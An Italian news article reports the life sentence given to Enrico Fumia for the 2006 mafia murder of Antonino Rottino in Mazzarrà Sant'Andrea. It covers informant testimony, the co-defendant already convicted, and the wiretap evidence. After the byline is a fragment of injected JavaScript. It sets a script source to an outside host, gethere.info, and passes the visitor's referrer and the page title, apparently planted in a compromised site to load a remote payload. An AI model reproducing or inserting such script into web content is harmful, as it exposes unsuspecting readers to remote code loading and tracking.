Mazzarrà Sant’Andrea: L’omicidio Rottino. Condannato all’ergastolo Enrico Fumia

1-fumia

C’è un secondo condannato all’ergastolo per l’omicidio di ANTONINO ROTTINO, detto “Ninni”, al tempo fedelissimo del non ancora pentito CARMELO BISOGNANO. Si tratta di ENRICO FUMIA (foto in alto), al quale la Corte d’Assise di Messina ha inflitto il carcere a vita. In precedenza era stato condannato all’ergastolo, in via definitiva, NICOLA ALDO MUNAFO’, ritenuto l’esecutore materiale dell’omicidio avvenuto a Mazzarrà Sant’Andrea nella notte tra il 21 ed il 22 agosto 2006…

La Corte d’Assise di Messina ha condannato all’ergastolo, così come richiesto dal pm Francesco Massara al termine della requisitoria, Enrico Fumia, di Mazzarrà Sant’Andrea, difeso dall’avvocato Tino Celi, accusato di avere avuto un ruolo ben preciso nell’ambito dell’omicidio di Antonino Rottino, detto “Ninni”, avvenuto nella notte tra il 21 ed il 22 agosto 2006 a Mazzarrà Sant’Andrea. Rottino era un affiliato alle cosche mafiose e fedelissimo di Carmelo Bisognano, al tempo detenuto, non ancora pentito (lo sarebbe diventato a dicembre 2010) ed ex capo del clan dei “Mazzarroti”, spodestato dall’emergente allevatore di Novara di Sicilia Tindaro Calabrese, in carcere dall’aprile 2008 e, da alcuni anni, al “41 bis”. Ad accusare Fumia sono stati alcuni collaboratori di giustizia: lo stesso Carmelo Bisognano, il meccanico di Falcone Santo Gullo, l’ex capo del braccio armato del clan dei “Barcellonesi” Carmelo D’Amico e il referente su Terme Vigliatore del clan dei “Barcellonesi” Nunziato Siracusa. Per l’omicidio di Antonino Rottino è già stato ritenuto colpevole Aldo Nicola Munafò che si è visto confermare la pena dell’ergastolo anche in Cassazione quale esecutore materiale del delitto, quindi in via definitiva, nell’ambito del processo scaturito dall’operazione “Vivaio” scattata il 10 aprile 2008. Per Fumia, invece, i sostituti procuratori della Dda di Messina avevano dapprima chiesto l’archiviazione perché non ritenevano sufficienti e convergenti le dichiarazioni dei pentiti ma il Gip chiese la formulazione dell’accusa e il rinvio a giudizio. Stando all’accusa, supportata da intercettazioni captate dai carabinieri del Ros e, in particolare, sul telefonino di Tindaro Calabrese (al tempo libero, mai indagato ed incensurato), l’agguato che costò la vita a “Ninni” Rottino venne pianificato in una officina di Barcellona Pozzo di Gotto. La vittima designata fu eliminata con alcuni colpi di pistola calibro 9 e calibro 7,62 di fabbricazione russa.

            Giuseppe Lazzaro

Edited by, venerdì 4 novembre 2016, ore 10,46.

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

(Visited 960 times, 1 visits today)